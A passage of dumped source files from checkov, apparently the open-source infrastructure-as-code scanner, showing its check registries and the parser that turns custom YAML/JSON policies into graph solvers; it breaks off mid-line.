    "content": "from __future__ import annotations\n\nimport fnmatch\nimport importlib\nimport importlib.util\nimport logging\nimport os\nimport sys\nfrom abc import abstractmethod\nfrom collections import defaultdict\nfrom itertools import chain\nfrom typing import Generator, Tuple, Dict, List, Optional, Any, TYPE_CHECKING\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.common.typing import _SkippedCheck, _CheckResult\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check import BaseCheck\n\n\nclass BaseCheckRegistry:\n    # NOTE: Needs to be static to because external check loading may be triggered by a registry to which\n    #       checks aren't registered. (This happens with Serverless, for example.)\n    __loading_external_checks = False  # noqa: CCE003\n    __all_registered_checks: list[BaseCheck] = []  # noqa: CCE003\n\n    def __init__(self, report_type: str) -> None:\n        self.logger = logging.getLogger(__name__)\n        add_resource_code_filter_to_logger(self.logger)\n        # IMPLEMENTATION NOTE: Checks is used to directly access checks based on an specific entity\n        self.checks: Dict[str, List[BaseCheck]] = defaultdict(list)\n        # IMPLEMENTATION NOTE: When using a wildcard, every pattern needs to be checked. To reduce the\n        #                      number of checks checks with the same pattern are grouped, which is the\n        #                      reason to use a dict for this too.\n        self.wildcard_checks: Dict[str, List[BaseCheck]] = defaultdict(list)\n        self.check_id_allowlist: Optional[List[str]] = None\n        self.report_type = report_type\n        self.definitions_raw: list[tuple[int, str]] | None = None\n        self.graph = None\n\n    def register(self, check: BaseCheck) -> None:\n        # IMPLEMENTATION NOTE: Checks are registered when the script is loaded\n        #                      (see BaseResourceCheck.__init__() for the various frameworks). The only\n        #                      difficultly with this process is that external checks need to be specially\n        #                      identified for filter handling. That's why you'll see stateful setting of\n        #                      RunnerFilters during load_external_checks.\n        #                      Built-in checks are registered immediately at script start, before\n        #                      external checks.\n        if BaseCheckRegistry.__loading_external_checks:\n            RunnerFilter.notify_external_check(check.id)\n\n        for entity in check.supported_entities:\n            checks = self.wildcard_checks if self._is_wildcard(entity) else self.checks\n            if not any(c.id == check.id for c in checks[entity]):\n                checks[entity].append(check)\n\n        BaseCheckRegistry.__all_registered_checks.append(check)\n\n    @staticmethod\n    def get_all_registered_checks() -> List[BaseCheck]:\n        return BaseCheckRegistry.__all_registered_checks\n\n    @staticmethod\n    def _is_wildcard(entity: str) -> bool:\n        return \"*\" in entity or \"?\" in entity or (\"[\" in entity and \"]\" in entity)\n\n    def get_check_by_id(self, check_id: str) -> Optional[BaseCheck]:\n        return next(\n            (check for check in chain(*self.checks.values(), *self.wildcard_checks.values()) if check.id == check_id),\n            None,\n        )\n\n    def all_checks(self) -> Generator[Tuple[str, BaseCheck], None, None]:\n        for entity, checks in self.checks.items():\n            for check in checks:\n                yield entity, check\n        for entity, checks in self.wildcard_checks.items():\n            for check in checks:\n                yield entity, check\n\n    @property\n    def contains_wildcard(self) -> bool:\n        return bool(self.wildcard_checks)\n\n    def get_checks(self, entity: str) -> List[BaseCheck]:\n        if not self.wildcard_checks:\n            # Optimisation: When no wildcards are used, we can use the list in self.checks\n            return self.checks.get(entity) or []\n        else:\n            res = self.checks[entity].copy() if entity in self.checks.keys() else []\n            # check wildcards\n            for pattern, checks in self.wildcard_checks.items():\n                if entity and fnmatch.fnmatchcase(entity, pattern):\n                    res += checks\n            return res\n\n    def set_checks_allowlist(self, runner_filter: RunnerFilter) -> None:\n        if runner_filter.checks:\n            self.check_id_allowlist = runner_filter.checks\n\n    @abstractmethod\n    def extract_entity_details(self, entity: Dict[str, Any]) -> Tuple[str, str, Dict[str, Any]]:\n        raise NotImplementedError()\n\n    def scan(\n        self,\n        scanned_file: str,\n        entity: Dict[str, Any],\n        skipped_checks: List[_SkippedCheck],\n        runner_filter: RunnerFilter,\n        report_type: Optional[str] = None  # allow runners like TF plan to override the type while using the same registry\n    ) -> Dict[BaseCheck, _CheckResult]:\n        results: Dict[BaseCheck, _CheckResult] = {}\n\n        try:\n            (entity_type, entity_name, entity_configuration) = self.extract_entity_details(entity)\n        except Exception:\n            logging.debug(f\"Error in entity details extraction for file {scanned_file}\", exc_info=True)\n            return results\n\n        if not isinstance(entity_configuration, dict):\n            return results\n\n        checks = self.get_checks(entity_type)\n        for check in checks:\n            skip_info: _SkippedCheck = {}\n            if skipped_checks:\n                if check.id in [x[\"id\"] for x in skipped_checks]:\n                    skip_info = [x for x in skipped_checks if x[\"id\"] == check.id][0]\n\n            if runner_filter.should_run_check(\n                    check,\n                    report_type=report_type or self.report_type,\n                    file_origin_paths=[scanned_file]\n            ):\n                result = self.run_check(check, entity_configuration, entity_name, entity_type, scanned_file, skip_info)\n                results[check] = result\n        return results\n\n    def run_check(\n        self,\n        check: BaseCheck,\n        entity_configuration: Dict[str, List[Any]],\n        entity_name: str,\n        entity_type: str,\n        scanned_file: str,\n        skip_info: _SkippedCheck,\n    ) -> _CheckResult:\n        self.logger.debug(\"Running check: {} on file {}\".format(check.name, scanned_file))\n        check.graph = self.graph\n        try:\n            result = check.run(\n                scanned_file=scanned_file,\n                entity_configuration=entity_configuration,\n                entity_name=entity_name,\n                entity_type=entity_type,\n                skip_info=skip_info,\n            )\n            return result\n        except Exception:\n            return _CheckResult(\n                result=CheckResult.UNKNOWN, suppress_comment=\"\", evaluated_keys=[],\n                results_configuration=entity_configuration, check=check, entity=entity_configuration\n            )\n\n    @staticmethod\n    def _directory_has_init_py(directory: str) -> bool:\n        \"\"\" Check if a given directory contains a file named __init__.py.\n\n        __init__.py is needed to ensure the directory is a Python module, thus\n        can be imported.\n        \"\"\"\n        return os.path.exists(os.path.join(directory, \"__init__.py\"))\n\n    @staticmethod\n    def _file_can_be_imported(entry: \"os.DirEntry[str]\") -> bool:\n        \"\"\" Verify if a directory entry is a non-magic Python file.\"\"\"\n        return entry.is_file() and not entry.name.startswith(\"__\") and entry.name.endswith(\".py\")\n\n    def load_external_checks(self, directory: str) -> None:\n        \"\"\" Browse a directory looking for .py files to import.\n\n        Log an error when the directory does not contains an __init__.py or\n        when a .py file has syntax error\n        \"\"\"\n        directory = os.path.expanduser(directory)\n        self.logger.debug(f\"Loading external checks from {directory}\")\n        for root, _, _ in os.walk(directory):\n            sys.path.insert(1, root)\n            with os.scandir(root) as directory_content:\n                if not self._directory_has_init_py(root):\n                    self.logger.info(f\"No __init__.py found in {root}. Cannot load any check here.\")\n                else:\n                    for entry in directory_content:\n                        if self._file_can_be_imported(entry):\n                            check_name = entry.name.replace(\".py\", \"\")\n                            check_full_path = entry.path\n\n                            # Filter is set while loading external checks so the filter can be informed\n                            # of the checks, which need to be handled specially.\n                            try:\n                                BaseCheckRegistry.__loading_external_checks = True\n                                self.logger.debug(f\"Importing external check '{check_name}'\")\n\n                                spec = importlib.util.spec_from_file_location(check_name, check_full_path)\n                                if spec:\n                                    module = importlib.util.module_from_spec(spec)\n                                    sys.modules[check_name] = module\n                                    spec.loader.exec_module(module)  # type: ignore[union-attr] # loader can't be None here\n                                else:\n                                    self.logger.error(f\"Cannot load external check '{check_name}' from {check_full_path}\")\n                            except Exception:\n                                self.logger.error(f\"Cannot load external check '{check_name}' from {check_full_path}\", exc_info=True)\n                            finally:\n                                BaseCheckRegistry.__loading_external_checks = False\n"
  },
  {
    "path": "checkov/common/checks/enums.py",
    "content": "from enum import Enum\n\n\nclass BlockType(str, Enum):\n    DOCUMENT = \"document\"\n    OBJECT = \"object\"\n    ARRAY = \"array\"\n    SCALAR = \"scalar\"\n"
  },
  {
    "path": "checkov/common/checks/object_registry.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.common.typing import _SkippedCheck, _ScannerCallableAlias\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check import BaseCheck\n    from checkov.runner_filter import RunnerFilter\n\n\nclass Registry(BaseCheckRegistry):\n    def __init__(self, report_type: str) -> None:\n        super().__init__(report_type=report_type)\n        self._scanner: dict[str, _ScannerCallableAlias] = {\n            BlockType.ARRAY: self._scan_array,\n            BlockType.OBJECT: self._scan_object,\n        }\n\n    def _scan_array(\n        self,\n        scanned_file: str,\n        check: BaseCheck,\n        skip_info: list[_SkippedCheck],\n        entity: dict[str, Any],\n        entity_name: str,\n        entity_type: str,\n        results: dict[str, Any],\n    ) -> None:\n        if isinstance(entity, dict):\n            analayzed_dict = entity.get(entity_type, {})\n            for item, item_conf in analayzed_dict.items():\n                if '__startline__' != item and '__endline__' != item:\n                    self.update_result(\n                        check,\n                        item_conf,\n                        item,\n                        entity_type,\n                        results,\n                        scanned_file,\n                        skip_info[0],\n                    )\n        if isinstance(entity, list):\n            for item in entity:\n                if entity_name in item:\n                    result = self.update_result(\n                        check,\n                        item[entity_name],\n                        entity_name,\n                        entity_type,\n                        results,\n                        scanned_file,\n                        skip_info[0],\n                    )\n                    if result == CheckResult.FAILED:\n                        break\n\n    def _scan_object(\n        self,\n        scanned_file: str,\n        check: BaseCheck,\n        skip_info: list[_SkippedCheck],\n        entity: dict[str, Any],\n        entity_name: str,\n        entity_type: str,\n        results: dict[str, Any],\n    ) -> None:\n        if entity_name in entity:\n            self.update_result(\n                check,\n                entity[entity_name],\n                entity_name,\n                entity_type,\n                results,\n                scanned_file,\n                skip_info[0],\n            )\n\n    def _scan_document(\n        self,\n        scanned_file: str,\n        check: BaseCheck,\n        skip_info: list[_SkippedCheck],\n        entity: dict[str, Any],\n        entity_name: str,\n        entity_type: str,\n        results: dict[str, Any],\n    ) -> None:\n        self.update_result(\n            check, entity, entity_name, entity_type, results, scanned_file, skip_info[0]\n        )\n\n    def _scan(\n        self,\n        scanned_file: str,\n        checks: list[BaseCheck],\n        skipped_checks: list[_SkippedCheck],\n        runner_filter: RunnerFilter,\n        entity: dict[str, Any],\n        entity_name: str,\n        entity_type: str,\n        results: dict[str, Any],\n    ) -> None:\n        for check in checks:\n            skip_infos = ([x for x in skipped_checks if x[\"id\"] == check.id] or [{}])\n\n            if runner_filter.should_run_check(check=check, report_type=self.report_type):\n                scanner = self._scanner.get(check.block_type, self._scan_document)\n                if check.path:\n                    target = entity\n                    for p in check.path.split(\".\"):\n                        if p.endswith(\"]\"):\n                            ip = p.split(\"[\")\n                            i = int(ip[1][:-1])\n                            target = target[ip[0]][i]\n                        else:\n                            target = target[p]\n                else:\n                    target = entity\n\n                scanner(\n                    scanned_file,\n                    check,\n                    skip_infos,\n                    target,\n                    entity_name,\n                    entity_type,\n                    results,\n                )\n\n    def scan(  # type:ignore[override]  # return type is different than the base class\n        self,\n        scanned_file: str,\n        entity: dict[str, Any],\n        skipped_checks: list[_SkippedCheck],\n        runner_filter: RunnerFilter,\n    ) -> dict[str, Any]:\n        results: dict[str, Any] = {}\n\n        if not entity:\n            return results\n\n        for instruction, checks in self.checks.items():\n            self._scan(\n                scanned_file=scanned_file,\n                checks=checks,\n                skipped_checks=skipped_checks,\n                runner_filter=runner_filter,\n                entity=entity,\n                entity_name=instruction,\n                entity_type=instruction,\n                results=results,\n            )\n\n        if self.wildcard_checks[\"*\"]:\n            self._scan(\n                scanned_file=scanned_file,\n                checks=self.wildcard_checks[\"*\"],\n                skipped_checks=skipped_checks,\n                runner_filter=runner_filter,\n                entity=entity,\n                entity_name=scanned_file,\n                entity_type=\"*\",\n                results=results,\n            )\n\n        return results\n\n    def update_result(\n        self,\n        check: BaseCheck,\n        entity_configuration: dict[str, Any],\n        entity_name: str,\n        entity_type: str,\n        results: dict[str, Any],\n        scanned_file: str,\n        skip_info: _SkippedCheck,\n    ) -> CheckResult:\n        check_result = self.run_check(\n            check,\n            entity_configuration,\n            entity_name,\n            entity_type,\n            scanned_file,\n            skip_info,\n        )\n        result_key = self.get_key(entity_type, entity_name, check.id, scanned_file)\n\n        result = check_result[\"result\"]\n\n        if isinstance(result, CheckResult) and result == CheckResult.SKIPPED:\n            results[result_key] = {\n                \"check\": check,\n                \"result\": result,\n                \"suppress_comment\": check_result.get(\"suppress_comment\", \"\"),\n                \"results_configuration\": None,\n            }\n            return result\n\n        if isinstance(result, tuple):\n            results[result_key] = {\n                \"check\": check,\n                \"result\": result[0],\n                \"results_configuration\": result[1],\n            }\n            return result[0]\n        results[result_key] = {\n            \"check\": check,\n            \"result\": result,\n            \"results_configuration\": entity_configuration,\n        }\n        return result\n\n    def get_key(self, entity_type: str, entity_name: str, check_id: str, file_path: str) -> str:\n        return f'{entity_type}.{entity_name}.{check_id}'\n\n    def extract_entity_details(self, entity: dict[str, Any]) -> tuple[str, str, dict[str, Any]]:\n        # not used, but is an abstractmethod\n        return \"\", \"\", {}\n"
  },
  {
    "path": "checkov/common/checks_infra/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/common/checks_infra/checks_parser.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import Dict, Any, List, Optional, Type, TYPE_CHECKING\nfrom checkov.common.checks_infra.resources_types import resources_types as raw_resources_types\n\nfrom checkov.common.bridgecrew.severities import get_severity\nfrom checkov.common.checks_infra.solvers import (\n    EqualsAttributeSolver,\n    NotEqualsAttributeSolver,\n    RegexMatchAttributeSolver,\n    NotRegexMatchAttributeSolver,\n    ExistsAttributeSolver,\n    AnyResourceSolver,\n    ContainsAttributeSolver,\n    NotExistsAttributeSolver,\n    WithinAttributeSolver,\n    NotContainsAttributeSolver,\n    StartingWithAttributeSolver,\n    NotStartingWithAttributeSolver,\n    EndingWithAttributeSolver,\n    NotEndingWithAttributeSolver,\n    AndSolver,\n    OrSolver,\n    NotSolver,\n    ConnectionExistsSolver,\n    ConnectionNotExistsSolver,\n    AndConnectionSolver,\n    OrConnectionSolver,\n    WithinFilterSolver,\n    GreaterThanAttributeSolver,\n    GreaterThanOrEqualAttributeSolver,\n    LessThanAttributeSolver,\n    LessThanOrEqualAttributeSolver,\n    SubsetAttributeSolver,\n    NotSubsetAttributeSolver,\n    IsEmptyAttributeSolver,\n    IsNotEmptyAttributeSolver,\n    LengthEqualsAttributeSolver,\n    LengthNotEqualsAttributeSolver,\n    LengthGreaterThanAttributeSolver,\n    LengthLessThanAttributeSolver,\n    LengthLessThanOrEqualAttributeSolver,\n    LengthGreaterThanOrEqualAttributeSolver,\n    IsTrueAttributeSolver,\n    IsFalseAttributeSolver,\n    IntersectsAttributeSolver,\n    NotIntersectsAttributeSolver,\n    EqualsIgnoreCaseAttributeSolver,\n    NotEqualsIgnoreCaseAttributeSolver,\n    RangeIncludesAttributeSolver,\n    RangeNotIncludesAttributeSolver,\n    NumberOfWordsEqualsAttributeSolver,\n    NumberOfWordsNotEqualsAttributeSolver,\n    NumberOfWordsGreaterThanAttributeSolver,\n    NumberOfWordsGreaterThanOrEqualAttributeSolver,\n    NumberOfWordsLessThanAttributeSolver,\n    NumberOfWordsLessThanOrEqualAttributeSolver,\n    NotWithinAttributeSolver,\n    CIDRRangeSubsetAttributeSolver,\n    CIDRRangeNotSubsetAttributeSolver,\n)\nfrom checkov.common.checks_infra.solvers.connections_solvers.connection_one_exists_solver import \\\n    ConnectionOneExistsSolver\nfrom checkov.common.checks_infra.solvers.resource_solvers import ExistsResourcerSolver, NotExistsResourcerSolver\nfrom checkov.common.checks_infra.solvers.resource_solvers.base_resource_solver import BaseResourceSolver\nfrom checkov.common.graph.checks_infra.base_check import BaseGraphCheck\nfrom checkov.common.graph.checks_infra.base_parser import BaseGraphCheckParser\nfrom checkov.common.graph.checks_infra.enums import SolverType\nfrom checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver\nfrom checkov.common.util.env_vars_config import env_vars_config\nfrom checkov.common.util.type_forcers import force_list\n\nif TYPE_CHECKING:\n    from checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n    from checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver\n    from checkov.common.checks_infra.solvers.connections_solvers.base_connection_solver import BaseConnectionSolver\n    from checkov.common.checks_infra.solvers.connections_solvers.complex_connection_solver import ComplexConnectionSolver\n    from checkov.common.checks_infra.solvers.filter_solvers.base_filter_solver import BaseFilterSolver\n\n\noperators_to_attributes_solver_classes: dict[str, Type[BaseAttributeSolver]] = {\n    \"equals\": EqualsAttributeSolver,\n    \"not_equals\": NotEqualsAttributeSolver,\n    \"regex_match\": RegexMatchAttributeSolver,\n    \"not_regex_match\": NotRegexMatchAttributeSolver,\n    \"exists\": ExistsAttributeSolver,\n    \"any\": AnyResourceSolver,\n    \"contains\": ContainsAttributeSolver,\n    \"not_exists\": NotExistsAttributeSolver,\n    \"within\": WithinAttributeSolver,\n    \"not_within\": NotWithinAttributeSolver,\n    \"not_contains\": NotContainsAttributeSolver,\n    \"starting_with\": StartingWithAttributeSolver,\n    \"not_starting_with\": NotStartingWithAttributeSolver,\n    \"ending_with\": EndingWithAttributeSolver,\n    \"not_ending_with\": NotEndingWithAttributeSolver,\n    \"greater_than\": GreaterThanAttributeSolver,\n    \"greater_than_or_equal\": GreaterThanOrEqualAttributeSolver,\n    \"less_than\": LessThanAttributeSolver,\n    \"less_than_or_equal\": LessThanOrEqualAttributeSolver,\n    \"subset\": SubsetAttributeSolver,\n    \"not_subset\": NotSubsetAttributeSolver,\n    \"is_empty\": IsEmptyAttributeSolver,\n    \"is_not_empty\": IsNotEmptyAttributeSolver,\n    \"length_equals\": LengthEqualsAttributeSolver,\n    \"length_not_equals\": LengthNotEqualsAttributeSolver,\n    \"length_greater_than\": LengthGreaterThanAttributeSolver,\n    \"length_greater_than_or_equal\": LengthGreaterThanOrEqualAttributeSolver,\n    \"length_less_than\": LengthLessThanAttributeSolver,\n    \"length_less_than_or_equal\": LengthLessThanOrEqualAttributeSolver,\n    \"is_true\": IsTrueAttributeSolver,\n    \"is_false\": IsFalseAttributeSolver,\n    \"intersects\": IntersectsAttributeSolver,\n    \"not_intersects\": NotIntersectsAttributeSolver,\n    \"equals_ignore_case\": EqualsIgnoreCaseAttributeSolver,\n    \"not_equals_ignore_case\": NotEqualsIgnoreCaseAttributeSolver,\n    \"range_includes\": RangeIncludesAttributeSolver,\n    \"range_not_includes\": RangeNotIncludesAttributeSolver,\n    \"number_of_words_equals\": NumberOfWordsEqualsAttributeSolver,\n    \"number_of_words_not_equals\": NumberOfWordsNotEqualsAttributeSolver,\n    \"number_of_words_greater_than\": NumberOfWordsGreaterThanAttributeSolver,\n    \"number_of_words_greater_than_or_equal\": NumberOfWordsGreaterThanOrEqualAttributeSolver,\n    \"number_of_words_less_than_or_equal\": NumberOfWordsLessThanOrEqualAttributeSolver,\n    \"number_of_words_less_than\": NumberOfWordsLessThanAttributeSolver,\n    \"cidr_range_subset\": CIDRRangeSubsetAttributeSolver,\n    \"cidr_range_not_subset\": CIDRRangeNotSubsetAttributeSolver,\n}\n\noperators_to_complex_solver_classes: dict[str, Type[BaseComplexSolver]] = {\n    \"and\": AndSolver,\n    \"or\": OrSolver,\n    \"not\": NotSolver,\n}\n\noperator_to_connection_solver_classes: dict[str, Type[BaseConnectionSolver]] = {\n    \"exists\": ConnectionExistsSolver,\n    \"one_exists\": ConnectionOneExistsSolver,\n    \"not_exists\": ConnectionNotExistsSolver\n}\n\noperator_to_complex_connection_solver_classes: dict[str, Type[ComplexConnectionSolver]] = {\n    \"and\": AndConnectionSolver,\n    \"or\": OrConnectionSolver,\n}\n\noperator_to_filter_solver_classes: dict[str, Type[BaseFilterSolver]] = {\n    \"within\": WithinFilterSolver,\n}\n\ncondition_type_to_solver_type = {\n    \"\": SolverType.ATTRIBUTE,\n    \"attribute\": SolverType.ATTRIBUTE,\n    \"connection\": SolverType.CONNECTION,\n    \"filter\": SolverType.FILTER,\n    \"resource\": SolverType.RESOURCE,\n}\n\noperator_to_resource_solver_classes: dict[str, Type[BaseResourceSolver]] = {\n    \"exists\": ExistsResourcerSolver,\n    \"not_exists\": NotExistsResourcerSolver,\n}\n\nJSONPATH_PREFIX = \"jsonpath_\"\n\n\nclass GraphCheckParser(BaseGraphCheckParser):\n    def validate_check_config(self, file_path: str, raw_check: dict[str, dict[str, Any]]) -> bool:\n        missing_fields = []\n\n        # check existence of metadata block\n        if \"metadata\" in raw_check:\n            metadata = raw_check[\"metadata\"]\n            if \"id\" not in metadata:\n                missing_fields.append(\"metadata.id\")\n            if \"name\" not in metadata:\n                missing_fields.append(\"metadata.name\")\n            if \"category\" not in metadata:\n                missing_fields.append(\"metadata.category\")\n        else:\n            missing_fields.extend((\"metadata.id\", \"metadata.name\", \"metadata.category\"))\n\n        # check existence of definition block\n        if \"definition\" not in raw_check:\n            missing_fields.append(\"definition\")\n\n        if missing_fields:\n            logging.warning(f\"Custom policy {file_path} is missing required fields {', '.join(missing_fields)}\")\n            return False\n\n        # check if definition block is not obviously invalid\n        definition = raw_check[\"definition\"]\n        if not isinstance(definition, (list, dict)):\n            logging.warning(\n                f\"Custom policy {file_path} has an invalid 'definition' block type '{type(definition).__name__}', \"\n                \"needs to be either a 'list' or 'dict'\"\n            )\n            return False\n\n        return True\n\n    def parse_raw_check(self, raw_check: Dict[str, Dict[str, Any]], **kwargs: Any) -> BaseGraphCheck:\n        providers = self._get_check_providers(raw_check)\n        policy_definition = raw_check.get(\"definition\", {})\n        check = self._parse_raw_check(policy_definition, kwargs.get(\"resources_types\"), providers)\n        check.id = raw_check.get(\"metadata\", {}).get(\"id\", \"\")\n        check.name = raw_check.get(\"metadata\", {}).get(\"name\", \"\")\n        check.category = raw_check.get(\"metadata\", {}).get(\"category\", \"\")\n        check.frameworks = raw_check.get(\"metadata\", {}).get(\"frameworks\", [])\n        severity = get_severity(raw_check.get(\"metadata\", {}).get(\"severity\", \"\"))\n        if severity:\n            check.severity = severity\n        check.guideline = raw_check.get(\"metadata\", {}).get(\"guideline\")\n        check.check_path = kwargs.get(\"check_path\", \"\")\n        solver = self.get_check_solver(check)\n        solver.providers = providers\n        check.set_solver(solver)\n\n        return check\n\n    @staticmethod\n    def _get_check_providers(raw_check: Dict[str, Any]) -> List[str]:\n        providers = raw_check.get(\"scope\", {}).get(\"provider\", [\"\"])\n        if isinstance(providers, list):\n            return providers\n        elif isinstance(providers, str):\n            return [providers]\n        else:\n            return [\"\"]\n\n    def _parse_raw_check(self, raw_check: Dict[str, Any], resources_types: Optional[List[str]], providers: Optional[List[str]]) -> BaseGraphCheck:\n        check = BaseGraphCheck()\n        complex_operator = get_complex_operator(raw_check)\n        if complex_operator:\n            check.type = SolverType.COMPLEX\n            check.operator = complex_operator\n            sub_solvers = raw_check.get(complex_operator, [])\n\n            # this allows flexibility for specifying the child conditions, and makes \"not\" more intuitive by\n            # not requiring an actual list\n            if isinstance(sub_solvers, dict):\n                sub_solvers = [sub_solvers]\n\n            for sub_solver in sub_solvers:\n                check.sub_checks.append(self._parse_raw_check(sub_solver, resources_types, providers))\n            resources_types_of_sub_solvers = [\n                force_list(q.resource_types) for q in check.sub_checks if q is not None and q.resource_types is not None\n            ]\n            check.resource_types = list(set(sum(resources_types_of_sub_solvers, [])))\n            if any(q.type in [SolverType.CONNECTION, SolverType.COMPLEX_CONNECTION] for q in check.sub_checks):\n                check.type = SolverType.COMPLEX_CONNECTION\n\n        else:\n            resource_type = raw_check.get(\"resource_types\", [])\n            if (\n                    resource_type and\n                    ((isinstance(resource_type, str) and resource_type.lower() == \"taggable\") or\n                     (isinstance(resource_type, list) and resource_type[0].lower() == \"taggable\"))\n            ):\n                if providers and len(providers) > 0 and providers != ['']:\n                    provider = providers[0].lower()\n                    taggable_resources = raw_resources_types.get(provider + \"_taggable\", [])\n                    check.resource_types = taggable_resources\n                else:\n                    # Get all taggable resources across providers\n                    all_taggable = []\n                    for provider in ['aws', 'azure', 'gcp']:\n                        all_taggable.extend(raw_resources_types.get(f\"{provider}_taggable\", []))\n                    check.resource_types = all_taggable\n\n            elif (\n                    not resource_type\n                    or (isinstance(resource_type, str) and resource_type.lower() == \"all\")\n                    or (isinstance(resource_type, list) and resource_type[0].lower() == \"all\")\n            ):\n                if env_vars_config.CKV_SUPPORT_ALL_RESOURCE_TYPE:\n                    check.resource_types = ['all']\n                else:\n                    check.resource_types = resources_types or []\n\n            elif \"provider\" in resource_type and providers:\n                for provider in providers:\n                    check.resource_types.append(f\"provider.{provider.lower()}\")\n            elif isinstance(resource_type, str):\n                #  for the case the \"resource_types\" value is a string, which can result in a silent exception\n                check.resource_types = [resource_type]\n            else:\n                check.resource_types = resource_type\n\n            connected_resources_type = raw_check.get(\"connected_resource_types\", [])\n            if connected_resources_type == [\"All\"] or connected_resources_type == \"all\":\n                check.connected_resources_types = resources_types or []\n            else:\n                check.connected_resources_types = connected_resources_type\n\n            condition_type = raw_check.get(\"cond_type\", \"\")\n            check.type = condition_type_to_solver_type.get(condition_type)\n            if condition_type == \"\":\n                check.operator = \"any\"\n            else:\n                check.operator = raw_check.get(\"operator\", \"\")\n            check.attribute = raw_check.get(\"attribute\")\n            check.attribute_value = raw_check.get(\"value\")\n\n        return check\n\n    @staticmethod\n    def get_solver_type_method(check: BaseGraphCheck) -> Optional[BaseAttributeSolver]:\n        check.is_jsonpath_check = check.operator.startswith(JSONPATH_PREFIX)\n        if check.is_jsonpath_check:\n            solver = check.operator.replace(JSONPATH_PREFIX, '')\n        else:\n            solver = check.operator\n\n        return operators_to_attributes_solver_classes.get(solver, lambda *args: None)(\n            check.resource_types, check.attribute, check.attribute_value, check.is_jsonpath_check\n        )\n\n    def get_check_solver(self, check: BaseGraphCheck) -> BaseSolver:\n        sub_solvers: List[BaseSolver] = []\n        if check.sub_checks:\n            sub_solvers = []\n            for sub_solver in check.sub_checks:\n                sub_solvers.append(self.get_check_solver(sub_solver))\n\n        type_to_solver = {\n            SolverType.COMPLEX_CONNECTION: operator_to_complex_connection_solver_classes.get(\n                check.operator, lambda *args: None\n            )(sub_solvers, check.operator),\n            SolverType.COMPLEX: operators_to_complex_solver_classes.get(check.operator, lambda *args: None)(\n                sub_solvers, check.resource_types\n            ),\n            SolverType.ATTRIBUTE: self.get_solver_type_method(check),\n            SolverType.CONNECTION: operator_to_connection_solver_classes.get(check.operator, lambda *args: None)(\n                check.resource_types, check.connected_resources_types\n            ),\n            SolverType.FILTER: operator_to_filter_solver_classes.get(check.operator, lambda *args: None)(\n                check.resource_types, check.attribute, check.attribute_value\n            ),\n            SolverType.RESOURCE: operator_to_resource_solver_classes.get(check.operator, lambda *args: None)(\n                check.resource_types\n            ),\n        }\n\n        solver = type_to_solver.get(check.type)  # type:ignore[arg-type]  # if not str will return None\n        if not solver:\n            raise NotImplementedError(f\"solver type {check.type} with operator {check.operator} is not supported\")\n        return solver\n\n\nclass NXGraphCheckParser(GraphCheckParser):\n    # TODO: delete after downstream adjustments\n    pass\n\n\ndef get_complex_operator(raw_check: Dict[str, Any]) -> Optional[str]:\n    for operator in operators_to_complex_solver_classes.keys():\n        if raw_check.get(operator):\n            return operator\n    return None\n"
  },
  {
    "path": "checkov/common/checks_infra/registry.py",
    "content": "from __future__ import annotations\n\nimport json\nimport logging\nimport os\nfrom pathlib import Path\nfrom typing import Any, TYPE_CHECKING\n\nimport yaml\n\nfrom checkov.common.checks_infra.checks_parser import GraphCheckParser\nfrom checkov.common.graph.checks_infra.base_parser import BaseGraphCheckParser\nfrom checkov.common.graph.checks_infra.registry import BaseRegistry\nfrom checkov.common.graph.graph_builder.consts import GraphSource\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.common.checks_infra.resources_types import resources_types\n\nif TYPE_CHECKING:\n    from checkov.common.graph.checks_infra.base_check import BaseGraphCheck\n\nCHECKS_POSSIBLE_ENDING = {\".json\", \".yaml\", \".yml\"}\n\nGraphSupportedIACFrameworks = [GraphSource.TERRAFORM, GraphSource.CLOUDFORMATION, GraphSource.KUBERNETES,\n                               GraphSource.TERRAFORM_PLAN, GraphSource.KUSTOMIZE, GraphSource.BICEP,\n                               GraphSource.GITHUB_ACTION, GraphSource.HELM, GraphSource.ANSIBLE, GraphSource.ARM]\n\n\nclass Registry(BaseRegistry):\n    def __init__(self, checks_dir: str, parser: BaseGraphCheckParser | None = None) -> None:\n        parser = parser or BaseGraphCheckParser()\n\n        super().__init__(parser)\n        self.checks: list[BaseGraphCheck] = []\n        self.checks_dir = checks_dir\n        self.internal_checks_dir_loaded = False\n        self.logger = logging.getLogger(__name__)\n        add_resource_code_filter_to_logger(self.logger)\n\n    def load_checks(self) -> None:\n        if self.checks and self.internal_checks_dir_loaded:\n            # checks were previously loaded\n            return\n\n        self._load_checks_from_dir(self.checks_dir, False)\n\n    def _load_checks_from_dir(self, directory: str, external_check: bool) -> None:\n        dir = os.path.expanduser(directory)\n        self.logger.debug(f\"Loading external checks from {dir}\")\n        for root, d_names, f_names in os.walk(dir):\n            self.logger.debug(f\"Searching through {d_names} and {f_names}\")\n            for file in f_names:\n                file_ending = os.path.splitext(file)[1]\n                if file_ending in CHECKS_POSSIBLE_ENDING:\n                    with open(os.path.join(root, file), \"r\") as f:\n                        if dir != self.checks_dir:\n                            self.logger.info(f\"loading {file}\")\n\n                        if file_ending == \".json\":\n                            check_json = json.load(f)\n                        else:\n                            check_yaml = yaml.safe_load(f)\n                            check_json = json.loads(json.dumps(check_yaml))\n\n                        if not isinstance(check_json, dict):\n                            self.logger.error(f\"Loaded data from JSON is not Dict. Skipping. Data: {check_json}.\")\n                            continue\n\n                        if not self.parser.validate_check_config(file_path=f.name, raw_check=check_json):\n                            # proper log messages are generated inside the method\n                            continue\n\n                        check = self.parser.parse_raw_check(\n                            check_json, resources_types=self._get_resource_types(check_json),\n                            check_path=f'{root}/{file}'\n                        )\n                        if not any(c for c in self.checks if 